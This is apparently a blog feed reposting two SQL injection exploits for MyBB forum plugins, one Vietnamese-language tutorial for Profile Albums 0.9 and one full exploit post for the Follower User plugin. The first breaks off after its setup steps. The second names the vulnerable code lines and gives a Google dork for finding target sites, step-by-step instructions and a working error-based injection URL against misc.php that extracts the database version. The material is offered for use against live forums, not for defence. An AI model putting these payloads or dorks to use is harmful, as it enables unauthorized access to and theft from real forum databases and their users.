MyBB Profile Albums Plugin 0.9 (albums.php, album parameter) SQL Injection

Bug cho forum sài MyBB với cái Albums plugin version 0.9<br>Tut: <br>1. Tạo cái user trên forum victim.<br>2. Tạo cái Album rồi upload hình lên.<br>-> 2 bước trên để có được cái ID user và ID của album sử dụng cho bước thứ 3.<br><a href="http://junookyo.blogspot.com/2012/11/mybb-profile-albums-plugin-09-albumsphp.html#more">ĐỌC TIẾP »</a>

MyBB Profile Albums Plugin 0.9 (albums.php, album parameter) SQL Injection

Bug cho forum sài MyBB với cái Albums plugin version 0.9 Tut: 1. Tạo cái user trên forum victim. 2. Tạo cái Album rồi upload hình lên. ->...

Read more »

MyBB Follower User Plugin SQL Injection

<pre><br /># Exploit Title: Follower User MyBB plugin SQL Injection 0day<br /># Google Dork: intext:"Users subscribed to" inurl:member.php -site:fwcombie.us<br /># Date: 13.10.2012<br /># Exploit Author: Th3FreakPony<br /># Software Link: http://mods.mybb.com/view/suscriber-user<br /># Version: 1.5+<br /># Tested on: Linux.<br />----------------------------------------------<br /><br />The vulnerabillity exist within SuscribeUsers.php on SuscribeUsers_add():<br /><br /><!--<br /-->$usid = $mybb->input[usid]; //Line 671<br />$uid = $mybb->input[uid]; //Line 672<br />if(user_awaiting($uid,$usid)) //Line 781<br />{ //Line 782<br />redirect("member.php?action=profile&uid=".$usid."# suscriberuser", $lang->double_suscription_awaiting,$lang->suscriberuser); // Line 783<br />} //Line 784<br />?><br /><br /><br />----------------------------------------------<br /><br />Instructions:<br />1. Create a new account on the target site.<br />2. Check your User ID by entering your profile link and write it down.<br />3. Enter here and start to inject your code:<br /><br />/misc.php?suscriberuser=yes&usid='[SQLi]--+-&uid=[Your_User_ID]<br /><br />----------------------------------------------<br /><br />Demo:<br />http://server/misc.php?suscriberuser=yes&usid=' or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0)--+-2&uid=[your_uid]<br />Image : http://i.imgur.com/eGhzJ.png<br /><br /><br />Follow: https://twitter.com/PonyBlaze<br /><br /><br />Shotouts goes to FillySec. <br /></pre>

MyBB Follower User Plugin SQL Injection

# Exploit Title: Follower User MyBB plugin SQL Injection 0day # Google Dork: intext:"Users subscribed to" inurl:member.php -site:f...

Read more »